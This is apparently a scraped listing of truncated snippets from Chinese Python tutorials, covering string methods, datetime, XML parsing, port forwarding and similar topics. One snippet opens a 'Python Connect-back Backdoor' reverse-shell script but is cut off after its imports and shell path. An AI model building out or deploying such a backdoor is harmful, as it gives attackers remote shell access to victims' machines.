Time of Update: 2016-06-16
首先,我們用webpy寫一個簡單的網站,監聽8080連接埠,返回“Hello, EverET.org”的頁面。然後我們使用我們的forwarding.py,在80連接埠和8080連接埠中間建立兩條通訊管道用於雙向通訊。此時,我們通過80連接埠訪問我們的伺服器。瀏覽器得到:然後,我們在forwarding.py的輸出結果中可以看到瀏覽器和webpy之間的通訊內容。代碼:#!/usr/bin/env pythonimport sys, socket, time, threadingloglock =
Time of Update: 2016-06-16
不知道怎麼忽然想看這個,呵呵 小我的python的反shell的代碼 #!/usr/bin/python # Python Connect-back Backdoor # Author: wofeiwo # Version: 1.0 # Date: July 15th 2006 import sys import os import socket shell = "/bin/sh" def usage(programname): print "Python Connect-back
Time of Update: 2016-06-16
1. 設定fomat格式,如下: 複製代碼 代碼如下:# 取前5個字元,跳過4個字元華,再取3個字元 format = '5s 4x 3s' 2. 使用struck.unpack擷取子字串 複製代碼 代碼如下:import struct print struct.unpack(format, 'Test astring') #('Test', 'ing') 來個簡單的例子吧,有一個字串'He is not very happy',處理一下,把中間的not去掉,然後再輸出。 複製代碼
Time of Update: 2016-06-16
如:>>> print ord('a') 97 >>> print chr(97) a 下面我們可以開始來設計我們的大小寫轉換的程式了: 複製代碼 代碼如下:#!/usr/bin/env python #coding=utf-8 def UCaseChar(ch): if ord(ch) in range(97, 122): return chr(ord(ch) - 32) return ch def LCaseChar(ch): if ord(ch) in range(65, 91):
Time of Update: 2016-06-16
複製代碼 代碼如下:mulLine = """Hello!!! Wellcome to Python's world! There are a lot of interesting things! Enjoy yourself. Thank you!""" print ''.join(mulLine.splitlines()) print '------------' print ''.join(mulLine.splitlines(True)) 輸出結果: Hello!!! Wellcome
Time of Update: 2016-06-16
注意的是,傳入的是一個字元數組,編譯器去除兩端所有相應的字元,直到沒有匹配的字元,比如: 複製代碼 代碼如下:theString = 'saaaay yes no yaaaass' print theString.strip('say') theString依次被去除首尾在['s','a','y']數組內的字元,直到字元在不數組內。所以,輸出的結果為: yes no 比較簡單吧,lstrip和rstrip原理是一樣的。注意:當沒有傳入參數時,是預設去除首尾空格的。 複製代碼
Time of Update: 2016-06-16
1.string.maketrans設定字串轉換規則表(translation table) 複製代碼 代碼如下:allchars = string.maketrans('', '')#所有的字串,即不替換字串 aTob = string.maketrans('a','b')#將字元a轉換為字元b 2.translate函數進行字串的替換和刪除,第一個參數是字串轉換規則表(translation table),第二個參數是要刪除的字串。比如,要將字串s中的所有e替換為a,同時要刪除所有的o
Time of Update: 2016-06-16
同時,關於datetime也是簡單介紹。因為有很多東西需要自己去使用,去查協助才最有效。例子:計算上一個星期五並輸出。解答:複製代碼 代碼如下: import datetime, calendar lastFriday = datetime.date.today( ) oneday = datetime.timedelta(days=1) lastFriday -= oneday while lastFriday.weekday( ) != calendar.FRIDAY:
Time of Update: 2016-06-16
例一:使用httplib訪問某個url然後擷取返回的內容:Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->import httplibconn=httplib.HTTPConnection("www.cnblogs.com")conn.request("GET", "/coderzh/archive/2008/05/13/1194445.html")
Time of Update: 2016-06-16
樣本可以附件中下載 1.載入xml檔案 載入XML檔案共有2種方法,一是載入指定字串,二是載入指定檔案 2.擷取element的方法 a) 通過getiterator b) 過 getchildren c) find方法 d) findall方法 樣本如下: 複製代碼 代碼如下:#-*- coding:utf-8 -*- from xml.etree import ElementTree def print_node(node): '''''列印結點基本資料''' print "========
Time of Update: 2016-06-16
1. copy.copy 淺拷貝 只拷貝父物件,不會拷貝對象的內部的子物件。2. copy.deepcopy 深拷貝 拷貝對象及其子物件一個很好的例子:Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->import copya = [1, 2, 3, 4, ['a', 'b']] #原始對象b = a #賦值,傳對象的引用c =
Time of Update: 2016-06-16
其他語言中,比如C#,我們通常遍曆數組是的方法是:Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->for (int i = 0; i list.Length; i++){ //todo with list[i]}在Python中,我們習慣這樣遍曆:Code highlighting produced by Actipro
Time of Update: 2016-06-16
局部名字靜態檢測 Python探測局部範圍的時候:是在python編譯代碼時檢測,而不是通過他們在運行時的賦值。 正常的情況下,沒在函數中複製的名字將在包含它的模組中尋找: >>> x=99 >>> def selector(): ... print x ... >>> selector() 99 但是: >>> def selector(): ... print x ... x=100 ... >>> selector() Traceback (most recent call last):
Time of Update: 2016-06-16
Python中初始化一個5 x 3每項為0的數組,最好方法是:Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->multilist = [[0 for col in range(5)] for row in range(3)]我們知道,為了初始化一個一維數組,我們可以這樣做:Code highlighting produced by Actipro
Time of Update: 2016-06-16
這時候還需要把各個工作表合并到一起來形成一個匯總表。這時候比較麻煩也比較容易出錯,因為各個表的學號不一定都是一致的、對齊的。因為可能會有人缺考,有人會考號塗錯等等。特奉獻以下代碼,用於合并學產生績表或者其它類似的表都可以。本代碼特點在於不需要使用SQL或者Access等大頭軟體,只需要Excel就可以執行,非常方便,速度也不慢。轉載請勿清除廣告。 沒有合適的區域網路管理軟體嗎?你的網管工具夠靈活夠高效嗎?看看這個network management software。 ' ===========
Time of Update: 2016-06-16
只是粗略的知道yield可以用來為一個函數傳回值塞資料,比如下面的例子:Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->def addlist(alist): for i in alist: yield i + 1取出alist的每一項,然後把i + 1塞進去。然後通過調用取出每一項:Code highlighting
Time of Update: 2016-06-16
比如下面的例子:class Book(object): def __setattr__(self, name, value): if name == 'value': object.__setattr__(self, name, value - 100) else: object.__setattr__(self, name, value) def __getattr__(self, name):
Time of Update: 2016-06-16
功能:為連連看遊戲提供串連演算法 說明:模組中包含一個Point類,該類是遊戲的基本單元“點”,該類包含屬性:x,y,value。 其中x,y代表了該點的座標,value代表該點的特徵:0代表沒有被填充,1-8代表被填充為遊戲圖案,9代表被填充為牆壁 模組中還包含一個名為points的Point列表,其中儲存著整個遊戲介面中的每個點 使用模組的時候應首先調用createPoints方法,初始化遊戲介面中每個點,然後可通過points訪問到每個點,繼而初始化介面
Time of Update: 2016-06-16
複製代碼 代碼如下:class Account(object): "一個簡單的類" account_type="Basic" def __init__(self,name,balance): "初始化一個新的Account執行個體" self.name=name self.balance=balance def deposit(self,amt): "存款" self.balance=self.balance+amt def withdraw(self,amt): "取款"
Time of Update: 2016-06-16
1. 首先VC++的DLL的匯出函數定義成標準C的匯出函數: 複製代碼 代碼如下:#ifdef LRDLLTEST_EXPORTS #define LRDLLTEST_API __declspec(dllexport) #else #define LRDLLTEST_API __declspec(dllimport) #endif extern "C" LRDLLTEST_API int Sum(int a , int b); extern "C" LRDLLTEST_API void